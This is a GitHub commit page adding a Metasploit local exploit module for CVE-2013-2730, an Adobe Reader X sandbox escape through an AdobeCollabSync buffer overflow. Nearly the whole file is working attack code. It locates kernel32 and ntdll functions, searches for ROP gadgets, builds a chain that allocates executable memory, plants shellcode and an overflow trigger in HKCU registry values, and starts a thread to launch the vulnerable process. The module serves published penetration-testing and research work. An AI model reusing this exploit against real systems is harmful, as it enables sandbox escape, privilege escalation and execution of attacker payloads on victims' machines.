Skip to content

Commit 85ceaa1

Browse files
author
jvazquez-r7
committed
Add module for CVE-2013-2730
1 parent 993a733 commit 85ceaa1

File tree

1 file changed

+364
-0
lines changed

1 file changed

+364
-0
lines changed
Lines changed: 364 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,364 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/windows/registry'
11+
require 'msf/core/post/common'
12+
require 'msf/core/post/file'
13+
14+
class Metasploit3 < Msf::Exploit::Local
15+
Rank = GreatRanking
16+
17+
include Msf::Exploit::EXE
18+
include Msf::Post::Common
19+
include Msf::Post::File
20+
include Msf::Post::Windows::Registry
21+
22+
def initialize(info={})
23+
super(update_info(info, {
24+
'Name' => 'AdobeCollabSync Buffer Overflow Adobe Reader X Sandbox Bypass',
25+
'Description' => %q{
26+
This module exploits a vulnerability on Adobe Reader X Sandbox. The
27+
vulnerability is due to a sandbox rule allowing a Low Integrity AcroRd32.exe
28+
process to write register values which can be used to trigger a buffer overflow on
29+
the AdobeCollabSync component, allowing to achieve Medium Integrity Level
30+
privileges from a Low Integrity AcroRd32.exe process. This module has been tested
31+
successfully on Adobe Reader X 10.1.4 over Windows 7 SP1.
32+
},
33+
'License' => MSF_LICENSE,
34+
'Author' =>
35+
[
36+
'Felipe Andres Manzano', # Vulnerability discovery and PoC
37+
'juan vazquez' # Metasploit module
38+
],
39+
'References' =>
40+
[
41+
[ 'CVE', '2013-2730' ],
42+
[ 'OSVDB', '93355' ],
43+
[ 'URL', 'http://blog.binamuse.com/2013/05/adobe-reader-x-collab-sandbox-bypass.html' ]
44+
],
45+
'Arch' => ARCH_X86,
46+
'Platform' => 'win',
47+
'SessionTypes' => 'meterpreter',
48+
'Payload' =>
49+
{
50+
'Space' => 12288,
51+
'DisableNops' => true
52+
},
53+
'Targets' =>
54+
[
55+
[ 'Adobe Reader X 10.1.4 / Windows 7 SP1',
56+
{
57+
'AdobeCollabSyncTrigger' => 0x18fa0,
58+
'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF"
59+
}
60+
],
61+
],
62+
'DefaultTarget' => 0,
63+
'DisclosureDate'=> 'May 14 2013'
64+
}))
65+
66+
end
67+
68+
def on_new_session
69+
print_status("Deleting Malicious Registry Keys...")
70+
if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")
71+
print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode by yourself")
72+
end
73+
if not registry_deletekey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")
74+
print_error("Delete HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB by yourself")
75+
end
76+
print_status("Cleanup finished")
77+
end
78+
79+
# Test the process integrity level by trying to create a directory on the TEMP folder
80+
# Access should be granted with Medium Integrity Level
81+
# Access should be denied with Low Integrity Level
82+
# Usint this solution atm because I'm experiencing problems with railgun when trying
83+
# use GetTokenInformation
84+
def low_integrity_level?
85+
tmp_dir = expand_path("%TEMP%")
86+
cd(tmp_dir)
87+
new_dir = "#{rand_text_alpha(5)}"
88+
begin
89+
session.shell_command_token("mkdir #{new_dir}")
90+
rescue
91+
return true
92+
end
93+
94+
if directory?(new_dir)
95+
session.shell_command_token("rmdir #{new_dir}")
96+
return false
97+
else
98+
return true
99+
end
100+
end
101+
102+
def check_trigger
103+
signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length)
104+
if signature == target['AdobeCollabSyncTriggerSignature']
105+
return true
106+
end
107+
return false
108+
end
109+
110+
def collect_addresses
111+
# find the trigger to launch AdobeCollabSyncTrigger.exe from AcroRd32.exe
112+
@addresses['trigger'] = @addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger']
113+
vprint_good("AdobeCollabSyncTrigger trigger address found at 0x#{@addresses['trigger'].to_s(16)}")
114+
115+
# find kernel32.dll
116+
kernel32 = session.railgun.kernel32.GetModuleHandleA("kernel32.dll")
117+
@addresses['kernel32.dll'] = kernel32["return"]
118+
if @addresses['kernel32.dll'] == 0
119+
fail_with(Exploit::Failure::Unknown, "Unable to find kernel32.dll")
120+
end
121+
vprint_good("kernel32.dll address found at 0x#{@addresses['kernel32.dll'].to_s(16)}")
122+
123+
# find kernel32.dll methods
124+
virtual_alloc = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "VirtualAlloc")
125+
@addresses['VirtualAlloc'] = virtual_alloc["return"]
126+
if @addresses['VirtualAlloc'] == 0
127+
fail_with(Exploit::Failure::Unknown, "Unable to find VirtualAlloc")
128+
end
129+
vprint_good("VirtualAlloc address found at 0x#{@addresses['VirtualAlloc'].to_s(16)}")
130+
131+
reg_get_value = session.railgun.kernel32.GetProcAddress(@addresses['kernel32.dll'], "RegGetValueA")
132+
@addresses['RegGetValueA'] = reg_get_value["return"]
133+
if @addresses['RegGetValueA'] == 0
134+
fail_with(Exploit::Failure::Unknown, "Unable to find RegGetValueA")
135+
end
136+
vprint_good("RegGetValueA address found at 0x#{@addresses['RegGetValueA'].to_s(16)}")
137+
138+
# find ntdll.dll
139+
ntdll = session.railgun.kernel32.GetModuleHandleA("ntdll.dll")
140+
@addresses['ntdll.dll'] = ntdll["return"]
141+
if @addresses['ntdll.dll'] == 0
142+
fail_with(Exploit::Failure::Unknown, "Unable to find ntdll.dll")
143+
end
144+
vprint_good("ntdll.dll address found at 0x#{@addresses['ntdll.dll'].to_s(16)}")
145+
end
146+
147+
# Search a gadget identified by pattern on the process memory
148+
def search_gadget(base, offset_start, offset_end, pattern)
149+
mem = base + offset_start
150+
length = offset_end - offset_start
151+
mem_contents = session.railgun.memread(mem, length)
152+
return mem_contents.index(pattern)
153+
end
154+
155+
# Search for gadgets on ntdll.dll
156+
def search_gadgets
157+
ntdll_text_base = 0x10000
158+
search_length = 0xd6000
159+
160+
@gadgets['mov [edi], ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x89\x0f\xc3")
161+
if @gadgets['mov [edi], ecx # ret'].nil?
162+
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'mov [edi], ecx # ret'")
163+
end
164+
@gadgets['mov [edi], ecx # ret'] += @addresses['ntdll.dll']
165+
@gadgets['mov [edi], ecx # ret'] += ntdll_text_base
166+
vprint_good("Gadget 'mov [edi], ecx # ret' found at 0x#{@gadgets['mov [edi], ecx # ret'].to_s(16)}")
167+
168+
@gadgets['ret'] = @gadgets['mov [edi], ecx # ret'] + 2
169+
vprint_good("Gadget 'ret' found at 0x#{@gadgets['ret'].to_s(16)}")
170+
171+
@gadgets['pop edi # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x5f\xc3")
172+
if @gadgets['pop edi # ret'].nil?
173+
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop edi # ret'")
174+
end
175+
@gadgets['pop edi # ret'] += @addresses['ntdll.dll']
176+
@gadgets['pop edi # ret'] += ntdll_text_base
177+
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop edi # ret'].to_s(16)}")
178+
179+
@gadgets['pop ecx # ret'] = search_gadget(@addresses['ntdll.dll'], ntdll_text_base, search_length, "\x59\xc3")
180+
if @gadgets['pop ecx # ret'].nil?
181+
fail_with(Exploit::Failure::Unknown, "Unable to find gadget 'pop ecx # ret'")
182+
end
183+
@gadgets['pop ecx # ret'] += @addresses['ntdll.dll']
184+
@gadgets['pop ecx # ret'] += ntdll_text_base
185+
vprint_good("Gadget 'pop edi # ret' found at 0x#{@gadgets['pop ecx # ret'].to_s(16)}")
186+
end
187+
188+
def create_rop_chain
189+
mem = 0x0c0c0c0c
190+
191+
buf = [0x58000000 + 1].pack("V")
192+
buf << [0x58000000 + 2].pack("V")
193+
buf << [0].pack("V")
194+
buf << [0x58000000 + 4].pack("V")
195+
196+
buf << [0x58000000 + 5].pack("V")
197+
buf << [0x58000000 + 6].pack("V")
198+
buf << [0x58000000 + 7].pack("V")
199+
buf << [@gadgets['ret']].pack("V")
200+
buf << rand_text(8)
201+
202+
# Allocate Memory To store the shellcode and the necessary data to read the
203+
# shellcode stored in the registry
204+
buf << [@addresses['VirtualAlloc']].pack("V")
205+
buf << [@gadgets['ret']].pack("V")
206+
buf << [mem].pack("V") # lpAddress
207+
buf << [0x00010000].pack("V") # SIZE_T dwSize
208+
buf << [0x00003000].pack("V") # DWORD flAllocationType
209+
buf << [0x00000040].pack("V") # flProtect
210+
211+
# Put in the allocated memory the necessary data in order to read the
212+
# shellcode stored in the registry
213+
# The reg sub key: Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions
214+
# The reg entry: shellcode
215+
# The output buffer size: 0x3000
216+
reg_key = "Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\x00"
217+
j = 0
218+
while (j < reg_key.length)
219+
buf << [@gadgets['pop edi # ret']].pack("V")
220+
buf << [mem + j].pack("V") # edi
221+
buf << [@gadgets['pop ecx # ret']].pack("V")
222+
buf << reg_key[j, 4].ljust(4,"\x00") # ecx
223+
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
224+
j = j + 4
225+
end
226+
k = j
227+
value_key = "shellcode\x00"
228+
j = 0
229+
while (j < value_key.length)
230+
buf << [@gadgets['pop edi # ret']].pack("V")
231+
buf << [mem + k + j].pack("V") # edi
232+
buf << [@gadgets['pop ecx # ret']].pack("V")
233+
buf << value_key[j, 4].ljust(4,"\x00") # ecx
234+
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
235+
j = j + 4
236+
end
237+
238+
size_buffer = 0x3000
239+
buf << [@gadgets['pop edi # ret']].pack("V")
240+
buf << [mem + 0x50].pack("V") # edi
241+
buf << [@gadgets['pop ecx # ret']].pack("V")
242+
buf << [size_buffer].pack("V") # ecx
243+
buf << [@gadgets['mov [edi], ecx # ret']].pack("V")
244+
245+
# Copy the shellcode from the the registry to the
246+
# memory allocated with executable permissions and
247+
# ret into there
248+
buf << [@addresses['RegGetValueA']].pack("V")
249+
buf << [mem + 0x1000].pack("V") # ret to shellcode
250+
buf << [0x80000001].pack("V") # hkey => HKEY_CURRENT_USER
251+
buf << [mem].pack("V") # lpSubKey
252+
buf << [mem + 0x3c].pack("V") # lpValue
253+
buf << [0x0000FFFF].pack("V") # dwFlags => RRF_RT_ANY
254+
buf << [0].pack("V") # pdwType
255+
buf << [mem + 0x1000].pack("V") # pvData
256+
buf << [mem + 0x50].pack("V") # pcbData
257+
end
258+
259+
# Store shellcode and AdobeCollabSync.exe Overflow trigger in the Registry
260+
def store_data_registry(buf)
261+
vprint_status("Creating the Registry Key to store the shellcode...")
262+
263+
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\shellcode")
264+
vprint_good("Registry Key created")
265+
else
266+
fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Key to store the shellcode")
267+
end
268+
269+
vprint_status("Storing the shellcode in the Registry...")
270+
271+
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "shellcode", payload.encoded, "REG_BINARY")
272+
vprint_good("Shellcode stored")
273+
else
274+
fail_with(Exploit::Failure::Unknown, "Failed to store shellcode in the Registry")
275+
end
276+
277+
# Create the Malicious registry entry in order to exploit....
278+
vprint_status("Creating the Registry Key to trigger the Overflow...")
279+
if registry_createkey("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions\\bDeleteDB")
280+
vprint_good("Registry Key created")
281+
else
282+
fail_with(Exploit::Failure::Unknown, "Failed to create the Registry Entry to trigger the Overflow")
283+
end
284+
285+
vprint_status("Storing the trigger in the Registry...")
286+
if registry_setvaldata("HKCU\\Software\\Adobe\\Adobe Synchronizer\\10.0\\DBRecoveryOptions", "bDeleteDB", buf, "REG_BINARY")
287+
vprint_good("Trigger stored")
288+
else
289+
fail_with(Exploit::Failure::Unknown, "Failed to store the trigger in the Registry")
290+
end
291+
end
292+
293+
def trigger_overflow
294+
vprint_status("Creating the thread to trigger the Overflow on AdobeCollabSync.exe...")
295+
# Create a thread in order to execute the necessary code to launch AdobeCollabSync
296+
ret = session.railgun.kernel32.CreateThread(nil, 0, @addresses['trigger'], nil, "CREATE_SUSPENDED", nil)
297+
if ret['return'] < 1
298+
print_error("Unable to CreateThread")
299+
return
300+
end
301+
hthread = ret['return']
302+
303+
vprint_status("Resuming the Thread...")
304+
# Resume the thread to actually Launch AdobeCollabSync and trigger the vulnerability!
305+
ret = client.railgun.kernel32.ResumeThread(hthread)
306+
if ret['return'] < 1
307+
fail_with(Exploit::Failure::Unknown, "Unable to ResumeThread")
308+
end
309+
end
310+
311+
def check
312+
@addresses = {}
313+
acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")
314+
@addresses['AcroRd32.exe'] = acrord32["return"]
315+
if @addresses['AcroRd32.exe'] == 0
316+
return Msf::Exploit::CheckCode::Unknown
317+
elsif check_trigger
318+
return Msf::Exploit::CheckCode::Vulnerable
319+
else
320+
return Msf::Exploit::CheckCode::Detected
321+
end
322+
end
323+
324+
def exploit
325+
@addresses = {}
326+
@gadgets = {}
327+
328+
print_status("Verifying we're in the correct target process...")
329+
acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe")
330+
@addresses['AcroRd32.exe'] = acrord32["return"]
331+
if @addresses['AcroRd32.exe'] == 0
332+
fail_with(Exploit::Failure::NoTarget, "AcroRd32.exe process not found")
333+
end
334+
vprint_good("AcroRd32.exe found at 0x#{@addresses['AcroRd32.exe'].to_s(16)}")
335+
336+
print_status("Checking the AcroRd32.exe image...")
337+
if not check_trigger
338+
fail_with(Exploit::Failure::NoTarget, "Please check the target, the AcroRd32.exe process doesn't match with the target")
339+
end
340+
341+
print_status("Checking the Process Integrity Level...")
342+
if not low_integrity_level?
343+
fail_with(Exploit::Failure::NoTarget, "Looks like you don't need this Exploit since you're already enjoying Medium Level")
344+
end
345+
346+
print_status("Collecting necessary addresses for exploit...")
347+
collect_addresses
348+
349+
print_status("Searching the gadgets needed to build the ROP chain...")
350+
search_gadgets
351+
print_good("Gadgets collected...")
352+
353+
print_status("Building the ROP chain...")
354+
buf = create_rop_chain
355+
print_good("ROP chain ready...")
356+
357+
print_status("Storing the shellcode and the trigger in the Registry...")
358+
store_data_registry(buf)
359+
360+
print_status("Executing AdobeCollabSync.exe...")
361+
trigger_overflow
362+
end
363+
end
364+

0 commit comments

Comments
 (0)